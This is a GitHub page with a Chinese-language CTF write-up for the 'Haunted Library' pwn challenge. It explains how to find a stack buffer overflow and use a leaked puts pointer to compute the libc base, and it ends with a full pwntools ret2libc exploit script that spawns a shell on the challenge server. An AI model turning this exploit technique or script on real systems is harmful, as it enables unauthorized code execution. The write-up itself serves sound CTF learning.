GlitchKraken/Haunted-Library
GitHub: GlitchKraken/Haunted-Library
一个面向 CTF 比赛的 Pwn 挑战题目及其 ret2libc 漏洞利用的完整解题 Writeup。
Stars: 0 | Forks: 0
## 描述

分值:120
Docker 镜像:
[https://drive.google.com/file/d/1kyZmNcftgcB6qfRnGF-QQPXFoibF0NV3/view?usp=drive_link](https://drive.google.com/file/d/1kyZmNcftgcB6qfRnGF-QQPXFoibF0NV3/view?usp=drive_link "smartCard-inline")
提供给玩家的是一个 ELF 文件,以及必要的设置文件:libc.so.6 和 ld-linux-x86-64.so.2。
常规的漏洞利用场景是在远程 Docker 容器中运行的一个程序,它允许玩家查看与程序同目录下的文件,并且可以查看_被允许访问的_文件的内容。
漏洞利用是标准的缓冲区溢出(buffer-overflow)转为 return-to-libc (ret2libc)。
## 挑战
(hauntedlibrary.zip)
DEADFACE 似乎将这个程序作为一种方式,让潜在的新成员查看其服务器上的信息,同时限制对更重要文件的访问……
我尝试了一下,但没走多远就碰壁了。不过我确实有一些发现可能会对你有所帮助:
1\.) 我认为我们无法将 shellcode 放在 stack 上……
2\.) 入门简直是个噩梦!但我发现了一个程序能让这一切变得容易得多:[https://github.com/io12/pwninit](https://github.com/io12/pwninit "smartCard-inline")
## 解决方案
1\.) **清点库存**
此时,玩家需要下载提供给他们的文件,并查看挑战描述,点击提供的主要 GitHub 链接:
.png)
在这里,他们能够看到在 GitHub 中链接的 pwninit 程序,如果带有专属的 libc 和 ld 文件,它将会自动为他们设置好 pwn 挑战环境。
他们只需要安装它,然后在他们的挑战文件及其相关文件所在的文件夹中运行 `pwninit`。
从这里开始,他们只需要确保自己正在操作的是挑战可执行文件的 _patched 版本。
2\.) **探查程序**
现在一切都已设置妥当并准备好进行漏洞利用,我们应该在挑战二进制文件上运行 checksec,以便确认基本的漏洞可利用性,同时试运行该程序以找到实际的漏洞。

在这里我们可以看到,该程序具备的主要安全措施是 NX bit,这意味着放置在 stack 上的可执行代码将不起作用。换句话说,stack 上没有免费的 binsh,你得使用 ROP!
接下来,我们查看一下程序,发现它可以查看甚至显示本地文件的内容!

3\.) **我们的漏洞藏在哪里?**
在这里,我们基本上只需试运行一下程序(或者在 ghidra 或 gdb 中打开它),直到我们能让它因为我们的输入而崩溃——重要的是,我们要能控制它崩溃的_位置_。
在“借阅书籍”(Check out book)功能中塞入一堆 'AAAA' 似乎就能达到目的……

并且,查看我们的 coredump,我们可以看到它在 0x414141... 处崩溃了……所以,AAAA……太棒了,我们控制了这个区域!
.png)
如果我们使用 cyclic,就可以准确判断出我们的漏洞利用需要多少字节的填充(padding),才能完全控制返回地址……
.png)
'cyclic 100' 给了我一串 100 个字符的长字符串,然后它在这里崩溃了^
执行 cyclic -l 0x6161617861616177 告诉我,在控制 RIP 之前,我需要 88 字节的填充或垃圾字符。
一旦拥有了这种控制权,我就可以让程序前往我想去的任何地方!
4\.) **寻找宝藏**
既然我们能强制程序跳转到任何地方,我们就想寻找宝藏——程序中任何可能为我们提供 shell、泄露有趣信息等的地方。
在我看来,寻找宝藏最简单的方法就是在 ghidra 或 ida pro 中查看。

在符号树中,我们可以看到一些熟悉的函数名,如 main、leave、peruse、checkout……但是,book_of_the_dead 到底是什么???这绝对不是在任何正常流程中被调用的。
在 ghidra 中查看其反编译代码,我们发现它泄露了一个指向 gllibc 中 puts 实现的地址……
所以我们只需要将返回指针设置到这里,砰!我们就会获得一些新的特色文本和一个指针……

这太棒了!指针泄露可用于计算 libc 的基地址(也就是说,我们将知道 libc 在内存中的具体位置)。如果我们能做到这一点,我们也能找到 libc 中的任何_其他_东西……这意味着像 system(/bin/sh) 这样有趣的玩意儿!

看一眼被泄露的指针,以及该地址的绝对长度,这告诉我们它确实位于内存中的某处,而不是靠近程序本身的某个 puts。
5\.) **困难的部分——数学计算。**
然而,指针本身无法立即使用——我们_可以_利用它找到 _libc 的基地址_,我们可以将其提供给 pwntools,以便轻松构建 ROP 链。
回顾一下到底泄露了什么,我们想起被泄露的特定地址是 libc 中 puts 的“实时”地址。但是 puts 在我们下载的本地 libc 中也有一个地址,实际上我们可以像这样在二进制文件中检查它:

我们感兴趣的是简单、常规的 puts@glibc,因此 0x82c80 地址正是我们想要的。
为了验证我们是否找到了正确的地址,我们用泄露的地址减去这个 0x82c80 地址(以下输出由我的漏洞利用程序执行):

由于 libc 的基地址是页对齐的(以 000 结尾),这有力地表明我们已经正确地找到了 libc 的基地址!
6\.) **将一切拼凑起来**
现在,在编写漏洞利用程序时,最重要的部分是:
1\.) 正确地将二进制文件及其 libc 导入 pwntools……这将确保 pwntools 使用正确的文件进行漏洞利用。在这里,实际上玩家也可以直接使用 hauntedlibrary_patched,效果一样好。

2\.) 确保我们的代码能够获取泄露的指针,计算出 libc_base,并将其反馈给 pwntools……

设置了 libc.address 后,我们只需在 libc 中搜索任何我们想要的内容。
在这里,我们不仅搜索 '/bin/sh',而且一旦找到它,我们还只需执行 rop.system(/bin/sh),它就会带着提供的参数调用该函数!
我们不需要做任何额外的工作。
.png)
我们要做的就是发送这条链。
以下是正在运行的概念验证程序及其代码:

我完整可运行的漏洞利用示例程序如下:
```
from pwn import *
import time
import os
### NOTE TO SELF: 看起来 errno 那些烂玩意起作用了!!!它不会直接终止程序,但确实似乎阻止了我们不喜欢的 syscalls 执行。
# 这是可选的,它只是允许使用 tmux 进行分屏视图,这样我们
# 就可以在运行时同时看到终端和我们的 exploit,在 GDB 中。
context.update(terminal=['tmux', 'splitw', '-h'])
HOST = '172.17.0.2'
PORT = 7832
elf = context.binary = ELF('./hauntedlibrary')
libc = ELF('./libc.so.6')
context.binary
main = p64(0x401226)
old_puts = libc.sym.puts
bin_sh_offset = next(libc.search(b'/bin/sh'))
print('puts@plt: ' + hex(old_puts))
ret = p64(0x40101a)
# 创建变量来保存所提供的 libraries 的位置。
# 我们需要这样做,以便能够强制我们的程序完全像在其原生 env 中那样运行。
LOADER = os.path.abspath('./ld-linux-x86-64.so.2')
VULN = os.path.abspath('./hauntedlibrary')
LIBC_DIR = os.path.abspath('./')
gdbscript = '''
break main
run
'''
# p = gdb.debug([LOADER, '--library-path', LIBC_DIR, VULN], gdbscript=gdbscript)
p = remote(HOST, PORT)
# 使用 cyclic 100 找到
padding = b"A" * 88
book_of_the_dead = p64(0x40174f)
test_ret = p64(0xb0bacafe)
# 清空 input
p.clean()
# 选择选项 2,'open a book' 以便引发 overflow
p.sendline(b'2')
# 再次清空 output。
# p.recv(800)
p.clean()
# 发送 overflow 来测试 ret addr
p.sendline(padding+book_of_the_dead+main)
p.recvuntil(b'puts(): ')
# 获取 14 个字节 - 12 个用于 addr,2 个用于前面的 0x。
leakedAddr = p.recv(14).strip().decode()
leakedAddrConverted = int(leakedAddr, 16)
# 通过在我的目录中执行 nm -D ./libc.so.6 找到的 puts。
puts = 0x82c80
libcBase = leakedAddrConverted - puts
print("Leaked Addr: " + hex(leakedAddrConverted))
print("puts in local: " + hex(puts))
print("libc base: " + hex(libcBase))
libc.address = libcBase
bin_sh = next(libc.search(b'/bin/sh'))
# 设置 ROP 并将我们设定用于查找 gadgets 和 addresses 的 elf 和 libc 文件提供给它。
rop = ROP([elf,libc])
# 要求 rop 尝试调用 system(bin_sh)
rop.system(bin_sh)
# 显示我们创建的 rop chain 的内容,用于调试和健全性检查。
print(rop.dump())
p.clean()
p.sendline(b'2')
p.clean()
# 在 padding 和一个简单的 'ret' 之后,实际发送格式正确的 rop chain,该 'ret' 用于遵守 x64 位中的 stack alignment 问题。
# 如果没有 ret,rop chain 将在这里崩溃。
p.sendline(padding+ret+rop.chain())
# p.sendline(b'dogz')
p.interactive()
```
标签:Docker, PWN, ret2libc, 安全防御评估, 安全靶场, 缓冲区溢出, 请求拦截, 逆向工具